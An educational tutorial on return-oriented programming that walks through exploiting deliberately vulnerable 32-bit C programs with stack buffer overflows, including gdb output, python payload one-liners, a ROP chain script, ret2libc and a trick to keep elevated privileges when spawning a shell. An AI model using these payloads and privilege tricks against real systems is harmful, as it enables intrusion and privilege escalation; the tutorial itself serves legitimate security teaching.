Return Oriented Programming (ROP) is a powerful technique used to counter common exploit prevention strategies. In particular, ROP is useful for circumventing Address Space Layout Randomization (ASLR)
and DEP
. When using ROP, an attacker uses his/her control over the stack right before the return from a function to direct code execution to some other location in the program. Except on very hardened binaries, attackers can easily find a portion of code that is located in a fixed location (circumventing ASLR) and which is executable (circumventing DEP). Furthermore, it is relatively straightforward to chain several payloads to achieve (almost) arbitrary code execution.
Before we begin
If you are attempting to follow along with this tutorial, it might be helpfulto have a Linux machine you can compile and run 32 bit code on. If you installthe correct libraries, you can compile 32 bit code on a 64 bit machine with the-m32
flag via gcc -m32 hello_world.c
. I will target this tutorial mostly at32 bit programs because ROP on 64 bit follows the same principles, but is justslightly more technically challenging. For the purpose of this tutorial, I willassume that you are familiar with x86 C calling conventions and stackmanagement. I will attempt to provide a brief explanationhere, but you are encouraged to explorein more depth on your own. Lastly, you should be familiar with a unix commandline interface.
My first ROP
The first thing we will do is use ROP to call a function in a very simple binary. In particular, we will be attempting to callnot_called
in the following program:
void not_called() { printf("Enjoy your shell!\n"); system("/bin/bash");}void vulnerable_function(char* string) { char buffer[100]; strcpy(buffer, string);}int main(int argc, char** argv) { vulnerable_function(argv[1]); return 0;}
We disassemble the program to learn the information we will need in order to exploit it: the size of the buffer and the address ofnot_called
:
$ gdb -q a.outReading symbols from /home/ppp/a.out...(no debugging symbols found)...done.(gdb) disas vulnerable_function Dump of assembler code for function vulnerable_function: 0x08048464 <+0>: push %ebp 0x08048465 <+1>: mov %esp,%ebp 0x08048467 <+3>: sub $0x88,%esp 0x0804846d <+9>: mov 0x8(%ebp),%eax 0x08048470 <+12>: mov %eax,0x4(%esp) 0x08048474 <+16>: lea -0x6c(%ebp),%eax 0x08048477 <+19>: mov %eax,(%esp) 0x0804847a <+22>: call 0x8048340 <strcpy@plt> 0x0804847f <+27>: leave 0x08048480 <+28>: ret End of assembler dump.(gdb) print not_called$1 = {<text variable, no debug info>} 0x8048444 <not_called>
We see that not_called
is at 0x8048444
and the buffer0x6c
bytes long. Right before the call to strcpy@plt
, the stack in fact looks like:
| <argument> || <return address> || <old %ebp> | <= %ebp| <0x6c bytes of || ... || buffer> || <argument> || <address of buffer> | <= %esp
Since we want our payload to overwrite the return address, we provide 0x6c bytes to fill the buffer, 4 bytes to replace the old%ebp
, and the target address (in this case, the address of not_called
). Our payload looks like:
| 0x8048444 <not_called> || 0x42424242 <fake old %ebp> || 0x41414141 ... || ... (0x6c bytes of 'A's) || ... 0x41414141 |
We try this and we get our shell:
$ ./a.out "$(python -c 'print "A"*0x6c + "BBBB" + "\x44\x84\x04\x08"')"Enjoy your shell!$
Calling arguments
Now that we can return to an arbitrary function, we want to be able to pass arbitrary arguments. We will exploit this simple program:
char* not_used = "/bin/sh";void not_called() { printf("Not quite a shell...\n"); system("/bin/date");}void vulnerable_function(char* string) { char buffer[100]; strcpy(buffer, string);}int main(int argc, char** argv) { vulnerable_function(argv[1]); return 0;}
This time, we cannot simply return to not_called
. Instead, we want to callsystem
with the correct argument. First, we print out the values we need usinggdb
:
$ gdb -q a.outReading symbols from /home/ppp/a.out...(no debugging symbols found)...done.(gdb) pring 'system@plt'$1 = {<text variable, no debug info>} 0x8048360 <system@plt>(gdb) x/s not_used0x8048580: "/bin/sh"
In order to call system
with the argument not_used
, we have to set up the stack. Recall, right aftersystem
is called it expects the stack to look like this:
| <argument> || <return address> |
We will construct our payload such that the stack looks like a call to system(not_used)
immediately after the return. We thus make our payload:
| 0x8048580 <not_used> || 0x43434343 <fake return address> || 0x8048360 <address of system> || 0x42424242 <fake old %ebp> || 0x41414141 ... || ... (0x6c bytes of 'A's) || ... 0x41414141 |
We try this and get out shell:
$ ./a.out "$(python -c 'print "A"*0x6c + "BBBB" + "\x60\x83\x04\x08" + "CCCC" + "\x80\x85\x04\x08"')"$
Return to libc
So far, we've only been looking at contrived binaries that contain the pieces we need for our exploit. Fortunately, ROP is still fairly straightforward without this handicap. The trick is to realize that programs that use functions from a shared library, like printf
from libc
, will link the entire library into their address space at run time. This means that even if they never callsystem
, the code for system
(and every other function inlibc
) is accessible at runtime. We can see this fairly easy in gdb
:
$ ulimit -s unlimited$ gdb -q a.outReading symbols from /home/ppp/a.out...(no debugging symbols found)...done.(gdb) break mainBreakpoint 1 at 0x8048404(gdb) runStarting program: /home/ppp/a.out Breakpoint 1, 0x08048404 in main ()(gdb) print system$1 = {<text variable, no debug info>} 0x555d2430 <system>(gdb) find 0x555d2430, +999999999999, "/bin/sh"0x556f3f18warning: Unable to access target memory at 0x5573a420, halting search.1 pattern found.
This example illustrates several important tricks. First, the use of ulimit -s unlimited
which will disable library randomization on 32-bit programs. Next, we must run the program and break at main, after libraries are loaded, to print values in shared libraries (but after we do so, then even functions unused by the program are available to us). Last, thelibc
library actually contains the string /bin/sh
, which we can find withgdb
use for exploits!
It is fairly straightforward to plug both of these addresses into our previous exploit:
$ ./a.out "$(python -c 'print "A"*0x6c + "BBBB" + "\x30\x24\x5d\x55" + "CCCC" + "\x18\x3f\x6f\x55"')"$
Chaining gadgets
With ROP, it is possible to do far more powerful things than calling a single function. In fact, we can use it to run arbitrary code rather than just calling functions we have available to us. We do this by returning togadgets, which are short sequences of instructions ending in a ret
. For example, the following pair of gadgets can be used to write an arbitrary value to an arbitrary location:
These work by pop
ing values from the stack (which we control) into registers and then executing code that uses them. To use, we set up the stack like so:
| <address of mov %eax, (%ecx)> || <value to write> || <address to write to> || <address of pop %ecx; pop %eax; ret> |
You'll see that the first gadget returns to the second gadget, continuing the chain of attacker controlled code execution (this next gadget can continue).
Other useful gadgets include xchg %eax, %esp
and add $0x1c,%esp
, which can be used to modify the stack pointer andpivot it to a attacker controlled buffer. This is useful if the original vulnerability only gave control over%eip
(like in a format string vulnerability) or if the attacker does not control very much of the stack (as would be the case for a short buffer overflow).
Chaining functions
We can also use ROP to chain function calls: rather than a dummy return address, we use apop; ret
gadget to move the stack above the arguments to the first function. Since we are just using thepop; ret
gadget to adjust the stack, we don't care what register it pops into (the value will be ignored anyways). As an example, we'll exploit the following binary:
char string[100];void exec_string() { system(string);}void add_bin(int magic) { if (magic == 0xdeadbeef) { strcat(string, "/bin"); }}void add_sh(int magic1, int magic2) { if (magic1 == 0xcafebabe && magic2 == 0x0badf00d) { strcat(string, "/sh"); }}void vulnerable_function(char* string) { char buffer[100]; strcpy(buffer, string);}int main(int argc, char** argv) { string[0] = 0; vulnerable_function(argv[1]); return 0;}
We can see that the goal is to call add_bin
, then add_sh
, thenexec_string
. When we call add_bin
, the stack must look like:
| <argument> || <return address> |
In our case, we want the argument to be 0xdeadbeef
we want the return address to be apop; ret
gadget. This will remove 0xdeadbeef
from the stack and return to the next gadget on the stack. We thus have a gadget to calladd_bin(0xdeadbeef)
that looks like:
| 0xdeadbeef || <address of pop; ret> || <address of add_bin> |
Since add_sh(0xcafebabe, 0x0badf00d)
use two arguments, we need apop; pop; ret
:
| 0x0badf00d || 0xcafebabe || <address of pop; pop; ret> || <address of add_sh> |
When we put these together, our payload looks like:
| <address of exec_string> || 0x0badf00d || 0xcafebabe || <address of pop; pop; ret> || <address of add_sh> || 0xdeadbeef || <address of pop; ret> || <address of add_bin> || 0x42424242 (fake saved %ebp) || 0x41414141 ... || ... (0x6c bytes of 'A's) || ... 0x41414141 |
This time we will use a python
wrapper (which will also show off the use of the very usefulstruct
python module).
#!/usr/bin/pythonimport osimport struct# These values were found with `objdump -d a.out`.pop_ret = 0x8048474pop_pop_ret = 0x8048473exec_string = 0x08048414add_bin = 0x08048428add_sh = 0x08048476# First, the buffer overflow.payload = "A"*0x6cpayload += "BBBB"# The add_bin(0xdeadbeef) gadget.payload += struct.pack("I", add_bin)payload += struct.pack("I", pop_ret)payload += struct.pack("I", 0xdeadbeef)# The add_sh(0xcafebabe, 0x0badf00d) gadget.payload += struct.pack("I", add_sh)payload += struct.pack("I", pop_pop_ret)payload += struct.pack("I", 0xcafebabe)payload += struct.pack("I", 0xbadf00d)# Our final destination.payload += struct.pack("I", exec_string)os.system("./a.out \"%s\"" % payload)
Some useful tricks
One common protection you will see on modern systems is for bash
to drop privileges if it is executed with a higher effective user id than saved user id. This is a little bit annoying for attackers, because/bin/sh
frequently is a symlink to bash
. Since system
internally executes/bin/sh -c
, this means that commands run from system
will have privileges dropped!
In order to circumvent this, we will instead use execlp
to execute apython
script we control in our local directory. We will demonstrate this and a few other tricks while exploiting the following simple program:
void vulnerable_read() { char buffer[100]; read(STDIN_FILENO, buffer, 200);}int main(int argc, char** argv) { vulnerable_read(); return 0;}
The general strategy will be to execute a python
script via execlp
, which searches the PATH
environment variable for an executable of the correct name.
Unix filenames
We know how to find the address of execlp
using gdb
, but what file do we execute? The trick is to realize that Unix filenames can have (almost) arbitrary characters in them. We then just have to find a string that functions as a valid filename somewhere in memory. Fortunately, those are are all over the text segment of program. Ingdb
, we can get all the information we need:
$ gdb -q ./a.outReading symbols from /home/ppp/a.out...(no debugging symbols found)...done.(gdb) bread mainBreakpoint 1 at 0x80483fd(gdb) runStarting program: /home/ppp/a.out Breakpoint 1, 0x080483fd in main ()(gdb) print execlp$1 = {<text variable, no debug info>} 0x5564b6f0 <execlp>(gdb) x/s main0x80483fa <main>: "U\211\345\203\344\360\350\317\377\377\377\270"
We will execute the file U\211\345\203\344\360\350\317\377\377\377\270
. We first create this file in some temporary directory and make sure it is executable and in our PATH
. We want a bash shell, so for now the file will simply ensurebash
will not drop privileges:
$ vim $'U\211\345\203\344\360\350\317\377\377\377\270'$ cat $'U\211\345\203\344\360\350\317\377\377\377\270'#!/usr/bin/pythonimport osos.setresuid(os.geteuid(), os.geteuid(), os.geteuid())os.execlp("bash", "bash")$ chmod +x $'U\211\345\203\344\360\350\317\377\377\377\270'$ export PATH=$(pwd):$PATH
Keeping stdin
open
Before we can exploit this, we have to be aware of one last trick. We want to avoid closingstdin
when we exec our shell. If we just naively piped output to our program throughpython
, we would see bash
execute and then quit immediately. What we do instead is we use a specialbash
sub shell and cat
to keep stdin
open. The following command concatenates the output of the python
command with standard in, thus keeping it open forbash
:
cat <(python -c 'print "my_payload"') - | ./a.out
Now that we know all the tricks we need, we can exploit the program. First, we plan what we want the stack to look like:
| 0x0 (NULL) || 0x80483fa <address of the weird string> || 0x80483fa <address of the weird string> || 0x5564b6f0 <address of execlp> || 0x42424242 <fake old %ebp> || 0x41414141 ... || ... (0x6c bytes of 'A's) || ... 0x41414141 |
Putting it all together, we get our shell:
$ cat <(python -c 'print "A"*0x6c + "BBBB" + "\xf0\xb6\x64\x55" + "\xfa\x83\x04\x08"*2 + "\x00\x00\x00\x00"') - | ./a.out
To recap, this exploit required us to use the following tricks in addition to ROP:
- Executing
python
since bash
drops privileges - Controlling the
PATH
and executing a file in a directory we control withexeclp
. - Choosing a filename that was a "string" of bytes from the code segment.
- Keeping
stdin
open using bash
sub shells and cat
.
Debugging
gdb
When you exploit doesn't work the first time, there are some tricks you can use to debug and figure out what is going on. The first thing you should do is run the exploit ingdb
with your payload. You should break on the return address of the function you are overflowing and print the stack to make sure it is what you expect. In the following example, I forgot to doulimit -s unlimited
before calculating libc
addresses so the address ofexeclp
is wrong:
$ gdb -q a.outReading symbols from /tmp/a.out...(no debugging symbols found)...done.(gdb) disas vulnerable_readDump of assembler code for function vulnerable_read: 0x080483d4 <+0>: push %ebp 0x080483d5 <+1>: mov %esp,%ebp 0x080483d7 <+3>: sub $0x88,%esp 0x080483dd <+9>: movl $0xc8,0x8(%esp) 0x080483e5 <+17>: lea -0x6c(%ebp),%eax 0x080483e8 <+20>: mov %eax,0x4(%esp) 0x080483ec <+24>: movl $0x0,(%esp) 0x080483f3 <+31>: call 0x80482f0 <read@plt> 0x080483f8 <+36>: leave 0x080483f9 <+37>: ret End of assembler dump.(gdb) break *0x080483f9Breakpoint 1 at 0x80483f9(gdb) run <inStarting program: /tmp/a.out <inBreakpoint 1, 0x080483f9 in vulnerable_read ()(gdb) x/4a $esp0xffffd6ec: 0x5564b6f0 0x80483fa <main> 0x80483fa <main> 0x0
It should look like this:
(gdb) x/4a $esp0xffffd6ec: 0x5564b6f0 <execlp> 0x80483fa <main> 0x80483fa <main> 0x0
strace
Another really useful tool is strace
, which will print out every syscall made by the program. In the following example, I forgot to setPATH
: the exploit worked but it was unable to find my file:
$ cat <(python -c 'print "A"*0x6c + "BBBB" + "\xf0\xb6\x64\x55" + "\xfa\x83\x04\x08"*2 + "\x00\x00\x00\x00"') | strace ./a.out... <snip> ...read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 200) = 129execve("/usr/local/sbin/U\211\345\203\344\360\350\317\377\377\377\270", [], [/* 30 vars */]) = -1 ENOENT (No such file or directory)execve("/usr/local/bin/U\211\345\203\344\360\350\317\377\377\377\270", [], [/* 30 vars */]) = -1 ENOENT (No such file or directory)execve("/usr/sbin/U\211\345\203\344\360\350\317\377\377\377\270", [], [/* 30 vars */]) = -1 ENOENT (No such file or directory)execve("/usr/bin/U\211\345\203\344\360\350\317\377\377\377\270", [], [/* 30 vars */]) = -1 ENOENT (No such file or directory)execve("/sbin/U\211\345\203\344\360\350\317\377\377\377\270", [], [/* 30 vars */]) = -1 ENOENT (No such file or directory)execve("/bin/U\211\345\203\344\360\350\317\377\377\377\270", [], [/* 30 vars */]) = -1 ENOENT (No such file or directory)...
In this case, I forgot to keep stdin
open, so it happily executes mypython
program and bash
and then immediately exit
s after a 0 byteread
:
$ python -c 'print "A"*0x6c + "BBBB" + "\xf0\xb6\x64\x55" + "\xfa\x83\x04\x08"*2 + "\x00\x00\x00\x00"' | strace ./a.out... <snip> ...read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 200) = 129execve("/tmp/U\211\345\203\344\360\350\317\377\377\377\270", [], [/* 30 vars */]) = 0... <snip> ...geteuid() = 1337geteuid() = 1337geteuid() = 1337setresuid(1337, 1337, 1337) = 0execve("/bin/bash", ["bash"], [/* 21 vars */]) = 0... <snip> ...read(0, "", 1) = 0exit_group(0) = ?